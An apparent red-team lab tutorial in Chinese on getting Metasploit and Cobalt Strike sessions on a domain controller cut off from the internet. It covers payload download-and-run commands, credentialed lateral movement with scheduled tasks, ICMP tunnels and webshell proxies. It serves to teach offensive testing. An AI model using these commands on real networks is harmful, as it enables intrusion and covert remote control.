红队攻防之特殊场景上线cs和msf

倘见玉皇先跪奏：他生永不落红尘

本文首发于先知社区，原创作者即是本人

网络拓扑图

img

一、msf正向木马拿不出网域控shell

msf生成木马

msfvenom -p windows/x64/meterpreter/bind_tcp lport=4444 -f raw -o msf1.bin

用msfvenom生成一个正向马传进去（因为无法访问外网，反向出不来），msf正向连接。

img

域控上线msf

通过域控web服务的shell进行操作，域控远程下载边界跳板机上的马

C:\ProgramData\xxxx.exe -i -c "certutil -urlcache -split -f http://xxx.xxx.xxx/msf1.exe msf1.exe

img

再通过提权工具进行执行

C:\ProgramData\xxxx.exe -i -c "msf1.exe"

img

msf通过代理开启监听

proxychains msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set RHOST xxx.xxx.xxx
set lport 4444
run

img

成功获取域控服务器的shell

img

二、主机中转监听横向上线不出网域控

设置中转监听

img

这个监听IP要内网可以通信的内网IP

img

然后生成无阶段木马(分阶段木马无法选择中转监听器)，再把木马copy到域控，设置好任务计划，启动木马之后就能够获取域控的shell了

img

ipc$+计划任务

通过net use建立IPC$连接

shell net use \\x.x.x.x\c$ "xxx" /user:"administrator"

img

利用copy上传后门文件到域控

shell copy C:\xxx.exe \\x.x.x.x\c$

img

运行任务，其中/i表示立即运行

shell schtasks /run /s x.x.x.x /u Administrator /p xxxx /tn test /i

img

域控成功上线cs

img

三、仅ICMP出网pingtunnel上线msf&cs

0. 环境搭建

WEB边界服务器是公司对外提供Web服务的机器，该机器可以通内网，同时向公网提供服务。内网同网段存在一台Windows内网服务器域控，Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps（ping），所以只能用ICMP搭建通往内网的隧道，访问内网服务器域控进行后续攻击操作。

1. pingtunnel

注意，在客户端中运行一定要加noprint nolog两个参数，否则会生成大量的日志文件
由于ICMP为网络层协议，应用层防火墙无法识别，且请求包当中的数据字段被加密

2. vps服务端开启

./pingtunnel -type server       ##开启服务器模式

回显0连接

img

3. 客户端开启

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1

img

客户端本地监听9999端口 ，将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口
执行后，kali有回显

img

4. msf上线

制作木马，木马的回连地址为127.0.0.1:9999,运行上线msf

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=9999 -f exe -o msf.exe

img

msf开启监听

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost x.x.x.x
set lport 7777
exploit -j

img

把木马msf.exe从蚁剑上传到靶机，运行

img

已上线msf

img

5. CS上线

pingtunnel.exe -type client -l 127.0.0.1:9999 -s icmpserver_ip -t c2_server_ip:7777 -tcp 1 -noprint 1 -nolog 1

img

客户端本地监听9999端口 ，将监听到的连接流量通过icmpserver发送到vps的Linsten_ip:7777端口
执行后，kali有回显

img

建立监听127.0.0.1:9999和x.x.x.x:7777

img

对ICMP-127的监听生成木马cs.exe

img

传到靶机运行

img

CS监听上线

img

四、仅ICMP出网SPP上线Cobalt Strike

环境搭建

WEB边界服务器是公司对外提供Web服务的机器，该机器可以通内网，同时向公网提供服务。内网同网段存在一台Windows内网服务器域控，Web服务器可以访问该机器远程桌面。当我们拿到web边界服务器的shell之后发现只能使用icmp协议访问公网vps（ping），所以只能用ICMP搭建通往内网的隧道，访问内网服务器域控进行后续攻击操作。

工具：

SPP
反向代理用于进入目标内网，正向代理可配合远控工具进行上线。

1. Server

服务端启动

./spp -type server -proto ricmp -listen 0.0.0.0

img

2. Client

客户端启动
-nolog 1不输出日志，-noprint 1不打印内容

spp.exe -name "cs" -type proxy_client -server x.x.x.x -fromaddr :8082 -toaddr :8081 -proxyproto tcp -proto ricmp -nolog 1 -noprint 1

img

vps回显

img

3. 创建SPP Listeners

配置一个http beacon，Host为vps地址：x.x.x.x，监听8081端口

img

4. 创建SPP-127 Linsteners

再起一个本地监听的http beacon，Host为：127.0.0.1（这里也可以换成web跳板机的内网IP：x.x.x.x），监听本地8082

img

5. 生成无阶段木马

img

监听器选择SPP-127，进行上线

img

传到靶机运行

img

此时查看cs已上线

img

vps回显

img

将SPP-127 Linsteners的Host换成web跳板机的内网IP：x.x.x.x，监听本地8082

img

生成无阶段木马

img

监听器选择SPP-127，进行上线

img

传到靶机运行

img

此时查看cs已上线

img

vps回显

img

五、Pystinger正向代理上线不出网域控到cs

工具：

Pystinger

条件：

  1. TCP、ICMP、DNS均不出网。
  2. 具有Web服务，并获得Webshell权限。
    web边界服务器在仅ICMP出网的环境下，将ICMP出网的出站规则禁用

环境机器不可以ping通其他机器

img

1. 上传代理文件

  1. 通过Webshell上传Pystinger的对应语言的Webshell到目标机器，实现内网SOCK4代理， 确保http://x.x.x.x/pystinger/proxy.php可以访问，页面返回 UTF-8。

img

2. 服务端运行

参考github上Cobalt Strike多主机上线方式，上传stingger_server.exe到目标机器，然后运行

start stinger_server.exe 0.0.0.0

img

3. 客户端运行

在VPS上上传stinger_client，-w proxy的url地址，执行

./stinger_client -w http://x.x.x.x/pystinger/proxy.php -l 0.0.0.0 -p 60000

img

4. 创建监听器

Cobalt Strike新建监听pystinger，多主机上线设置Host为目标机器能够与更深层机器相连的内网ip：x.x.x.x，端口为60020。
单主机上线设置Host为目标机器的ip：127.0.0.1，端口为60020，只能本主机上线

img

5. 生成木马

img

蚁剑运行木马文件

img

此时查看cs已上线

img

六、goproxy http代理上线不出网域控到cs

工具：

goproxy

条件：

  1. TCP、ICMP、DNS均不出网。
  2. 具有Web服务，并获得Webshell权限。
    web边界服务器在仅ICMP出网的环境下，将ICMP出网的出站规则禁用

img

环境机器不可以ping通其他机器

img

1. 上传proxy.exe

通过Webshell上传proxy.exe到目标机器的可读可写目录，执行以下命令在这台出网主机开启一个4444端口的HTTP服务，供后面与不出网域控通讯。

proxy.exe http -t tcp -p "0.0.0.0:4444" --daemon
netstat -ano

img

2. 创建监听器

Cobalt strike创建监听器，代理地址为不出网域控能访问到的地址，http://x.x.x.x:4444

img

3. 生成木马

有效荷载选择Windows Executable(S)，不然无法上线

img

然后利用蚁剑将该文件上传到web服务器供不出网域控下载使用。
不出网win2008执行如下命令，要写不出网win2008同层能访问到的地址，下载CS的有效载荷。
certutil -urlcache -split -f http://x.x.x.x/xxx.exe C:\xxx.exe

img

执行木马

img

成功上线cs

img

七、内存加载不出网域控上线cs

条件：

  1. TCP、ICMP、DNS均不出网。
  2. 具有Web服务，并获得Webshell权限。
    web边界服务器在仅ICMP出网的环境下，将ICMP出网的出站规则禁用

img

环境机器不可以ping通其他机器

img

1. 拿跳板机session

首先拿到跳板机的一个Administrator权限的session

img

2. 创建监听器

创建一个Bind TCP Listener

img

3. 生成木马

生成无阶段木马

img

免杀后上传到跳板机的C:\

img

4.内存加载xxx.exe

execute-assembly C:\xxx.exe -m=psexec -i=x.x.x.x -u=administrator -p=xxxx -d=xxx -f=C:\xxx.exe -e=C:\xxx.exe

img

5.连接目标机

connect x.x.x.x 4444

img

6.查看cs目标已成功上线

img
文笔生疏，措辞浅薄，望各位大佬不吝赐教，万分感谢。

免责声明：由于传播或利用此文所提供的信息、技术或方法而造成的任何直接或间接的后果及损失，均由使用者本人负责， 文章作者不为此承担任何责任。

转载声明：各家兴 拥有对此文章的修改和解释权，如欲转载或传播此文章，必须保证此文章的完整性，包括版权声明等全部内容。未经作者允许，不得任意修改或者增减此文章的内容，不得以任何方式将其用于商业目的。

CSDN:
https://blog.csdn.net/weixin_48899364?type=blog

公众号：
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=Mzg5NTU2NjA1Mw==&action=getalbum&album_id=1696286248027357190&scene=173&from_msgid=2247485408&from_itemidx=1&count=3&nolastread=1#wechat_redirect

博客:
https://rdyx0.github.io/

先知社区：
https://xz.aliyun.com/u/37846

SecIN:
https://www.sec-in.com/author/3097

FreeBuf：
https://www.freebuf.com/author/%E5%9B%BD%E6%9C%8D%E6%9C%80%E5%BC%BA%E6%B8%97%E9%80%8F%E6%8E%8C%E6%8E%A7%E8%80%85

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/160863.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

cs与msf联动

cs与msf联动

实验环境 cs4.4(4.5版本不知道为啥实现不了) cs服务器与msf在同一台vps上 本地win7虚拟机 cs派生会话给msf 首先cs正常上线win7，这就不多说了，然后说如何将会话派生给msf cs准备 选择Foreign，这里可以选HTTP，也可以选HTTPS…
阅读更多...
RK3568驱动指南｜第七篇 设备树-第67章 of操作函数实验：获取属性

RK3568驱动指南｜第七篇 设备树-第67章 of操作函数实验：获取属性

瑞芯微RK3568芯片是一款定位中高端的通用型SOC，采用22nm制程工艺，搭载一颗四核Cortex-A55处理器和Mali G52 2EE 图形处理器。RK3568 支持4K 解码和 1080P 编码，支持SATA/PCIE/USB3.0 外围接口。RK3568内置独立NPU，可用于轻量级人工…
阅读更多...
springBoot中starter

springBoot中starter

springBoot项目中引入starter 项目引入xxljob&#xff0c;仅需要导入对应的starter包&#xff0c;即可进行快速开发 <dependency><groupId>com.ydl</groupId><artifactId>xxl-job-spring-boot-starter</artifactId><version>0.0.1-SNAPS…
阅读更多...
训练模型报错RuntimeError: Input, output and indices must be on the current device

训练模型报错RuntimeError: Input, output and indices must be on the current device

问题出现&#xff1a; 当我训练图网络模型时&#xff0c;源码默认使用cpu&#xff0c;查看后台性能运行&#xff0c;发现正在使用cpu训练&#xff0c;这大大降低了训练速率&#xff0c;并且增加了电脑负载。所以我决定将模型改造并训练放在GPU上运行。 我在train方法中&#xf…
阅读更多...
Zabbix5.0部署

Zabbix5.0部署

环境 主机名 IP 类型server01192.168.134.165zabbix-serverserver02 192.168.134.166zabbix-agent 官方部署文档 1 .安装yum源 [rootserver01 ~]# rpm -Uvh https://repo.zabbix.com/zabbix/5.0/rhel/7/x86_64/zabbix-rel…
阅读更多...
2、LeetCode之两数相加

2、LeetCode之两数相加

给你两个非空的链表&#xff0c;表示两个非负的整数。它们每位数字都是按照逆序的方式存储的&#xff0c;并且每个节点只能存储一位数字。请你将两个数相加&#xff0c;并以相同形式返回一个表示和的链表。你可以假设除了数字0之外&#xff0c;这两个数都不会以0开头。 输入&am…
阅读更多...
Docker Volume: 实现容器间数据共享与持久化的利器

Docker Volume: 实现容器间数据共享与持久化的利器

文章目录 Docker Volume的作用Docker Volume与容器内数据的比较优势劣势 Docker Volume的创建和管理创建Docker Volume管理Docker Volume 演示Docker Volume的挂载Docker Volume的生命周期安全性考虑与Docker Volume应用场景Docker Volume与多容器协作容器迁移与Docker Volume未…
阅读更多...
一文带你了解QT Model/View框架的设计思想和实现机制

一文带你了解QT Model/View框架的设计思想和实现机制

目录 1、QT Model/View框架简介 1.1、QT Model/View是什么&#xff1f; 1.2、QT Model/View框架核心思想 1.3、Model/View框架工作机制 1.4、Model/View框架的类 2、Model 2.1模型简介 2.2、模型索引 2.3、数据角色 2.4、QStringListModel 2.5、QFileSystemModel 2…
阅读更多...
用低代码平台开发应用

用低代码平台开发应用

低代码一词&#xff0c;有人认为它是第四代编程语言&#xff0c;有人认为它是开发模式的颠覆&#xff0c;也有人认为它是企业管理模式的变革……有很多声音&#xff0c;社区讨论很热烈。 即使这样&#xff0c;至今也有不少人还不知道这项技术&#xff0c;今天笼统的介绍一下低代…
阅读更多...
MidJourney笔记（2）-面板使用

MidJourney笔记（2）-面板使用

MidJourney界面介绍 接着上面的疑问。U1、U2、U3、U4、V1、V2、V3、V4分别代表着什么？ U1、U2、U3、U4： U按钮是用于放大图片，数字即表示对应的图片，可以立即生成1024X1024像素大小的图片。这样大家在使用的时候，也方便单独下载。 其中数字顺序如下：
阅读更多...
第五届全国高校计算机能力挑战赛-程序设计挑战赛(C++)

第五届全国高校计算机能力挑战赛-程序设计挑战赛(C++)

代码输出结果题目&#xff0c;自己跟着敲一遍就行了&#xff01;&#xff01;&#xff01; 指针常量和常量指针的区别https://blog.csdn.net/qq_36132127/article/details/81940015?ops_request_misc%257B%2522request%255Fid%2522%253A%2522170027731616800222813804%2522%2…
阅读更多...
基于DOTween插件实现金币飞行到指定位置功能

基于DOTween插件实现金币飞行到指定位置功能

文章目录 前言一、DOTween是什么&#xff1f;二、使用步骤1.导入DOTween插件在Unity官方插件商店找到DOTween插件导入DOTween插件启用DOTween插件 2.代码逻辑金币飞行代码控制飞行效果代码 3.物体配置1.物体上装配CoinEffect脚本2.在金币预制体上装配FlyControl脚本 三、效果展…
阅读更多...
CTFHub | Cookie注入，UA注入，Refer注入，过滤空格（利用hackbar插件）

CTFHub | Cookie注入，UA注入，Refer注入，过滤空格（利用hackbar插件）

Cookie注入 Cookie 注入原理 Cookie 注入的原理也和其他注入一样&#xff0c;只不过是将提交的参数以 Cookie 方式提交&#xff0c;而一般的注入是使用 GET 或者 POST 方式提交&#xff0c;GET 方式提交就是直接在网址后面加上需要注入的语句&#xff0c;POST 方式则是通过表单…
阅读更多...
【自用总结】正项级数审敛法的总结

【自用总结】正项级数审敛法的总结

注&#xff1a;收敛半径的求法就是lim n->∞ |an1/an| ρ&#xff0c;而ρ1/R&#xff0c;最基本的不能忘。 比较判别法&#xff1a;从某项起&#xff0c;该级数后面的项均小于等于另一级数&#xff0c;则敛散性可进行一定的比较 可以看到&#xff0c;比较判别法实际上比较…
阅读更多...
解决k8s node节点报错： Failed to watch *v1.Secret: unknown

解决k8s node节点报错： Failed to watch *v1.Secret: unknown

现象&#xff1a; 这个现象是发生在k8s集群证书过期&#xff0c;重新续签证书以后。 记得master节点的/etc/kubernetes/kubelet.conf文件已经复制到node节点了。 但是为什么还是报这个错&#xff0c;然后运行证书检查命令看一下&#xff1a; 看样子是差/etc/kubernetes/pki/…
阅读更多...
【Python/C++ 递归】汉诺塔

【Python/C++ 递归】汉诺塔

汉诺塔&#xff08;Tower of Hanoi&#xff09;&#xff0c;又称河内塔&#xff0c;是一个源于印度古老传说的益智玩具。大梵天创造世界的时候做了三根金刚石柱子&#xff0c;在一根柱子上从下往上按照大小顺序摞着64片黄金圆盘。大梵天命令婆罗门把圆盘从下面开始按大小顺序重…
阅读更多...
腾讯智影数字人工具

腾讯智影数字人工具

腾讯智影数字人工具 腾讯智影数字人的形象风格多样&#xff0c;包括写实、卡通等&#xff0c;可以满足不同年龄层观众的喜好。同时&#xff0c;腾讯智影数字人也提供了灵活的驱动方案&#xff0c;可以通过文本或配音直接生成视频&#xff0c;并支持数字人做出与视频一样的动作…
阅读更多...
企业如何实现降本增效——数字化转型

企业如何实现降本增效——数字化转型

说到企业数字化转型&#xff0c;不可避免要围绕企业降本增效。企业们都在积极寻找降本增效解决之道&#xff0c;以实现降本增效的目标。数字化转型也成为了很多企业降本增效的重要手段。通过引入云计算、大数据、人工智能等技术&#xff0c;企业们实现了业务流程的数字化和智能…
阅读更多...
YOLOv8-seg改进：注意力系列篇 | 一种简单有效的可变形的自注意力模块DAT | CVPR 2022

YOLOv8-seg改进：注意力系列篇 | 一种简单有效的可变形的自注意力模块DAT | CVPR 2022

🚀🚀🚀本文改进：Deformable Attention Transformer，一种简单有效的可变形的自注意力模块，增强sparse attention 的表征能⼒； 🚀🚀🚀DAT小目标分割&复杂场景首选，实现涨点 🚀🚀🚀YOLOv8-seg创新专栏：http://t.csdnimg.cn/KLSdv 学姐带你学习YOL…
阅读更多...
企业视频数字人有哪些应用场景

企业视频数字人有哪些应用场景

来做个数字人吧&#xff0c;帮我干点活吧。 国内的一些数字人&#xff1a; 腾讯智影 腾讯智影数字人是一种基于人工智能技术的数字人物形象&#xff0c;具有逼真的外观、语音和行为表现&#xff0c;可以应用于各种场景&#xff0c;如新闻播报、文娱推介、营销、教育等。 幻…
阅读更多...
最新文章

Copyright @ 2022~2023